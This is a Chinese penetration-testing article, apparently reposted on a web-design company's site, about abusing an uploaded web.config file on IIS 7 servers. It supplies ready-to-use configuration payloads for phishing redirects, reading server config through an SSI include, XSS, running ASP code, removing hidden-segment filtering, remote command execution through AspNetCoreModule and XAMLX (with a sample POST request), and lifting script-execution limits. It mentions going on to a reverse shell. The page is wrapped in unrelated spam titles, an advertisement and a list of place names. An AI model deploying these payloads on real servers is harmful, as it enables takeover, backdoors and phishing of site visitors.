成人午夜视频全免费观看高清-秋霞福利视频一区二区三区-国产精品久久久久电影小说-亚洲不卡区三一区三区一区

Web.config在滲透中的作用是什么

Web.config在滲透中的作用是什么,很多新手對(duì)此不是很清楚,為了幫助大家解決這個(gè)難題,下面小編將為大家詳細(xì)講解,有這方面需求的人可以來學(xué)習(xí)下,希望你能有所收獲。

大竹ssl適用于網(wǎng)站、小程序/APP、API接口等需要進(jìn)行數(shù)據(jù)傳輸應(yīng)用場景,ssl證書未來市場廣闊!成為成都創(chuàng)新互聯(lián)的ssl證書銷售渠道,可以享受市場價(jià)格4-6折優(yōu)惠!如果有意向歡迎電話聯(lián)系或者加微信:028-86922220(備注:SSL證書合作)期待與您的合作!

前言

下面主要介紹web.config文件在滲透中的作用,即可上傳一個(gè)web.config時(shí)的思路,話不多說,開始正題。首先我們來看一下web.config是什么,援引百度百科的介紹: 

Web.config文件是一個(gè)XML文本文件,它用來儲(chǔ)存ASP.NETWeb 應(yīng)用程序的配置信息,它可以出現(xiàn)在應(yīng)用程序的每一個(gè)目錄中。在運(yùn)行時(shí)對(duì)Web.config文件的修改不需要重啟服務(wù)就可以生效.

關(guān)鍵詞:xml文本、.net配置、無需重啟,這幾個(gè)特性就決定了其在滲透中的作用,我們來看下具體操作。

以下實(shí)驗(yàn)環(huán)境為:

windows server 2008

iis 7

.net 3.5

具體利用

(一)使用web.config進(jìn)行重定向釣魚

首先通過實(shí)驗(yàn)了解什么是重定向:數(shù)據(jù)流重定向

實(shí)驗(yàn):數(shù)據(jù)流重定向(合天網(wǎng)安實(shí)驗(yàn)室)

(數(shù)據(jù)流重定向就是將某個(gè)指令執(zhí)行后應(yīng)該要出現(xiàn)在屏幕上的數(shù)據(jù),將它們傳輸?shù)狡渌牡胤健#?/p>

在iis中有一項(xiàng)為url redirect也就是用來進(jìn)行url重定向的,當(dāng)我們可以長傳一個(gè)web.config的時(shí)候我們就可以使用這種方式來進(jìn)行釣魚攻擊,在這里要注意的是,不同的iis版本的配置稍有不同,以本次環(huán)境中的iis7為例,假如我們想讓目標(biāo)網(wǎng)站跳轉(zhuǎn)到baidu,我們只需要這樣寫我們的web.config:



<?xml version="1.0" encoding="UTF-8"?><configuration>    <system.webServer>        <httpRedirect enabled="true" destination="https://www.baidu.com/" />    </system.webServer></configuration>

中間的一行為我們具體實(shí)現(xiàn)的代碼,即開啟重定向并重定向到百度,剩下的都是服務(wù)默認(rèn)的自帶的,相當(dāng)于模板,此時(shí)我們訪問目標(biāo)站點(diǎn),就會(huì)跳轉(zhuǎn)到baidu了。

Web.config在滲透中的作用是什么

Web.config在滲透中的作用是什么

而大于等于iis7版本就稍微復(fù)雜一些,因?yàn)樵谶@之后多了一個(gè)url write功能,其中包含了url重定向,所以很多開發(fā)選擇使用這個(gè)功能進(jìn)行操作。我們來看一下,如果為url write該如何去做。假如我們在url write定義了一個(gè)規(guī)則為:為所有不帶斜杠(/)的網(wǎng)址,自動(dòng)加上斜杠(/),比如下圖這樣:

Web.config在滲透中的作用是什么

那么我們的web.config就會(huì)自動(dòng)生成以下內(nèi)容:



<?xml version="1.0" encoding="UTF-8"?><configuration>    <system.webServer>        <rewrite>            <rules>                <rule name="AddTrailingSlashRule1" stopProcessing="true">                    <match url="(.*[^/])$" />                    <conditions>                        <add input="{REQUEST_FILENAME}" matchType="IsDirectory" negate="true" />                        <add input="{REQUEST_FILENAME}" matchType="IsFile" negate="true" />                    </conditions>                    <action type="Redirect" url="{R:1}/" />                </rule>            </rules>        </rewrite>    </system.webServer></configuration>

看起來有些難懂,下面稍微給大家說一下,首先在url write分為入站規(guī)則(<rules>)和出站規(guī)則(<outboundRules>)他們需要寫在<system.webServer>的<rewrite>元素內(nèi),我們一般釣魚只考慮入站規(guī)則,AddTrailingSlashRule1為一個(gè)新的規(guī)則名字,可隨意定義,若stopProcessing指定為true則若當(dāng)前請(qǐng)求與規(guī)則匹配,則不再匹配其他請(qǐng)求。<match>為進(jìn)行匹配的url,一般使用正則表達(dá)式的形式,而<action>元素告訴IIS如何處理與模式匹配的請(qǐng)求,使用type屬性來進(jìn)行處理,一般有以下幾個(gè):

  • None:

  • Rewrite:將請(qǐng)求重寫為另一個(gè)URL。

  • Redirect:將請(qǐng)求重定向到另一個(gè)URL。

  • CustomResponse:向客戶返回自定義響應(yīng)。

  • AbortRequest:刪除請(qǐng)求的HTTP連接。

而redirectType屬性指定要使用永久重定向還是臨時(shí)重定向。剩下的大家可以查閱msdn上面的手冊,寫的非常詳細(xì)。說了這么多,估計(jì)大家就能明白怎么去寫web.config了,給出大家一個(gè)url write的web.config釣魚模板,可自行進(jìn)行修改:



<rule name="RedirectToHTTPS" stopProcessing="true">  <match url="(.*)" />  <conditions>    <add input="{HTTPS}" pattern="off" ignoreCase="true" />  </conditions>  <action type="Redirect" url="https://{SERVER_NAME}/{R:1}" redirectType="Permanent" /></rule>

因?yàn)閣eb.config不需要重啟服務(wù),所以當(dāng)我們能夠傳一個(gè)web.config上去的時(shí)候,我們也就達(dá)到了我們的目的,也有可能運(yùn)維人員已經(jīng)寫好了一些規(guī)則,我們不想貿(mào)然驚動(dòng)管理者的話,如果此時(shí)我們可以上傳.shtm或.shtml文件,并使用以下代碼來讀取web.config的內(nèi)容。



<!-- test.shtml --><!--#include file="/web.config" -->

Web.config在滲透中的作用是什么

并根據(jù)讀取的內(nèi)容來進(jìn)行后續(xù)操作。

(二)使用web.config進(jìn)行xss

這是一種比較古老的技術(shù),依靠web.config的name屬性,來構(gòu)造一個(gè)xss,前提是iis6或者更低的版本不支持這類攻擊,假設(shè)我們上傳的web.config內(nèi)容如下:



<?xml version="1.0" encoding="UTF-8"?><configuration>   <system.webServer>      <handlers>         <!-- XSS by using *.config -->         <add name="web_config_xss&amplt;script&ampgt;alert('xss1')&amplt;/script&ampgt;" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="fooo" resourceType="Unspecified" requireAccess="None" preCondition="bitness64" />         <!-- XSS by using *.test -->         <add name="test_xss&amplt;script&ampgt;alert('xss2')&amplt;/script&ampgt;" path="*.test" verb="*"  />      </handlers>      <security>         <requestFiltering>            <fileExtensions>               <remove fileExtension=".config" />            </fileExtensions>            <hiddenSegments>               <remove segment="web.config" />            </hiddenSegments>         </requestFiltering>      </security>   <httpErrors existingResponse="Replace" errorMode="Detailed" />   </system.webServer></configuration>

則我們訪問該文件時(shí)則會(huì)彈出xss

Web.config在滲透中的作用是什么

(三)使用web.config運(yùn)行asp代碼

這類攻擊方法其實(shí)也不是什么很稀奇的技術(shù),因?yàn)閣eb.config可以操控iis服務(wù)器,那么我們可以去調(diào)用system32\inetsrv\asp.dll文件,來達(dá)到運(yùn)行任意asp代碼的目的。比如下面這樣:



<?xml version="1.0" encoding="UTF-8"?><configuration>   <system.webServer>      <handlers accessPolicy="Read, Script, Write">         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />              </handlers>      <security>         <requestFiltering>            <fileExtensions>               <remove fileExtension=".config" />            </fileExtensions>            <hiddenSegments>               <remove segment="web.config" />            </hiddenSegments>         </requestFiltering>      </security>   </system.webServer></configuration><%Response.write("-"&"->")' it is running the ASP code if you can see 3 by opening the web.config file!Response.write(1+2)Response.write("<!-"&"-")%>

此時(shí)訪問文件,則會(huì)輸出3,運(yùn)行其他的代碼同理哦。

Web.config在滲透中的作用是什么

(四)使用web.config繞過hidden segments

在iis7以后,微軟為了增加其安全性增加了hidden segments功能對(duì)應(yīng)請(qǐng)求過濾模塊,也就是對(duì)一些不想讓其他人訪問的東西進(jìn)行過濾,在被訪問時(shí)返回給客戶端一個(gè)404.8的狀態(tài)碼。一般在web.config中使用<hiddenSegments>來進(jìn)行指定隱藏的值。比如我們設(shè)置了一個(gè)文件夾為hiddenSegments,那么在訪問時(shí)就是下圖這種情況。

Web.config在滲透中的作用是什么

比如文件夾為_private則對(duì)應(yīng)生成的web.config內(nèi)容如下



<configuration>   <system.webServer>      <security>         <requestFiltering>            <hiddenSegments applyToWebDAV="false">               <add segment="_private" />            </hiddenSegments>         </requestFiltering>      </security>   </system.webServer></configuration>

而此時(shí)我們可以通過上傳web.config的形式,來繞過這種過濾。



<?xml version="1.0" encoding="UTF-8"?><configuration>    <system.webServer>        <security>            <requestFiltering>                <hiddenSegments>                    <remove segment="bin" />                    <remove segment="App_code" />                    <remove segment="App_GlobalResources" />                    <remove segment="App_LocalResources" />                    <remove segment="App_Browsers" />                    <remove segment="App_WebReferences" />                    <remove segment="App_Data" />          <!--Other IIS hidden segments can be listed here -->                </hiddenSegments>            </requestFiltering>        </security>    </system.webServer></configuration>

因?yàn)檫^濾的本質(zhì)是使用的APP_Data或者App_GlobalResources進(jìn)行的add,我們將其remove掉即可。

(五)使用web.config進(jìn)行rce

這個(gè)跟執(zhí)行asp代碼原理上差不多,主要是使用AspNetCoreModule模塊去調(diào)用cmd進(jìn)行命令執(zhí)行。



<?xml version="1.0" encoding="utf-8"?><configuration>    <system.webServer>      <handlers>        <remove name="aspNetCore" />         <add name="aspNetCore" path="backdoor.me" verb="*" modules="AspNetCoreModule" resourceType="Unspecified" />      </handlers>      <aspNetCore processPath="cmd.exe" arguments="/c calc"/>    </system.webServer></configuration>

這個(gè)過程通過去訪問服務(wù)器上的backdoor.me進(jìn)行觸發(fā),因?yàn)槭窃诜?wù)端進(jìn)行執(zhí)行的,這時(shí)候我們可以如調(diào)用powershell,來返回一個(gè)反向的shell。

(六)使用系統(tǒng)秘鑰來反序列化進(jìn)行rce

這個(gè)是一種.net的反序列化操作,有興趣的朋友可以參考o(jì)range師傅在hicton上出的題https://xz.aliyun.com/t/3019

(七)使用web.config啟用 XAMLX來getshell

XAMLX文件一般用于工作流服務(wù),使用消息活動(dòng)來發(fā)送和接收Windows Communication Foundation(WCF)消息的工作流。而我們可以使用該文件進(jìn)行命令執(zhí)行,一般有兩種方法,一種是反序列化,另一種就是其本身的文件瀏覽功能在瀏覽上傳的文件時(shí),執(zhí)行命令。以第二種為例,代碼內(nèi)容如下:



<WorkflowService ConfigurationName="Service1" Name="Service1" xmlns="http://schemas.microsoft.com/netfx/2009/xaml/servicemodel" xmlns:p="http://schemas.microsoft.com/netfx/2009/xaml/activities" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:p1="http://schemas.microsoft.com/netfx/2009/xaml/activities" > <p:Sequence DisplayName="Sequential Service"> <TransactedReceiveScope Request="{x:Reference __r0}"> <p1:Sequence > <SendReply DisplayName="SendResponse" > <SendReply.Request> <Receive x:Name="__r0" CanCreateInstance="True" OperationName="SubmitPurchasingProposal" Action="testme" /> </SendReply.Request> <SendMessageContent> <p1:InArgument x:TypeArguments="x:String">[System.Diagnostics.Process.Start("cmd.exe", "/c calc").toString()]</p1:InArgument> </SendMessageContent> </SendReply> </p1:Sequence> </TransactedReceiveScope> </p:Sequence></WorkflowService>

發(fā)送一個(gè)post請(qǐng)求即可調(diào)用該文件進(jìn)行命令執(zhí)行:



POST /uploaded.xamlx HTTP/1.1Host: 192.168.0.105SOAPAction: testmeContent-Type: text/xmlContent-Length: 94<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body/></s:Envelope>

Web.config在滲透中的作用是什么

所以我們也可以使用這種方法來進(jìn)行反彈shell。

但是該文件并非全部開啟,若目標(biāo)服務(wù)器啟用了WCF服務(wù)我們可以使用下面的web.config進(jìn)行啟用這類文件



<?xml version="1.0" encoding="UTF-8"?><configuration> <system.webServer> <handlers accessPolicy="Read, Script, Write"> <add name="xamlx" path="*.xamlx" verb="*" type="System.Xaml.Hosting.XamlHttpHandlerFactory, System.Xaml.Hosting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" modules="ManagedPipelineHandler" requireAccess="Script" preCondition="integratedMode" /> <add name="xamlx-Classic" path="*.xamlx" verb="*" modules="IsapiModule" scriptProcessor="%windir%\Microsoft.NET\Framework64\v4.0.30319\aspnet_isapi.dll" requireAccess="Script" preCondition="classicMode,runtimeVersionv4.0,bitness64" /> </handlers> <validation validateIntegratedModeConfiguration="false" /> </system.webServer></configuration>

(八)使用web.config繞過執(zhí)行限制

在一個(gè)可讀寫的目錄里無法執(zhí)行腳本, 可以通過上傳特殊的 web.config 文件突破限制.比如這種:

Web.config在滲透中的作用是什么



<?xml version="1.0" encoding="utf-8"?><configuration>    <system.webServer>        <handlers accessPolicy="Read, Write, Execute, Script" />    </system.webServer></configuration>

上傳后即可訪問、運(yùn)行代碼。

Web.config在滲透中的作用是什么

看完上述內(nèi)容是否對(duì)您有幫助呢?如果還想對(duì)相關(guān)知識(shí)有進(jìn)一步的了解或閱讀更多相關(guān)文章,請(qǐng)關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道,感謝您對(duì)創(chuàng)新互聯(lián)的支持。

當(dāng)前名稱:Web.config在滲透中的作用是什么
文章位置:http://jinyejixie.com/article46/pospeg.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供全網(wǎng)營銷推廣、網(wǎng)站導(dǎo)航App開發(fā)、自適應(yīng)網(wǎng)站、App設(shè)計(jì)電子商務(wù)

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場,如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)

外貿(mào)網(wǎng)站建設(shè)
漳平市| 黎城县| 唐山市| 崇阳县| 郴州市| 大庆市| 灵山县| 阜平县| 扎兰屯市| 宁海县| 佛山市| 东阿县| 安图县| 商丘市| 临城县| 辽源市| 双峰县| 满洲里市| 赫章县| 岗巴县| 曲阳县| 佛坪县| 灌阳县| 安岳县| 休宁县| 上栗县| 临邑县| 宜城市| 宁化县| 黄浦区| 如皋市| 重庆市| 塔河县| 红桥区| 黄平县| 万年县| 台州市| 涿州市| 石首市| 和平县| 兴仁县|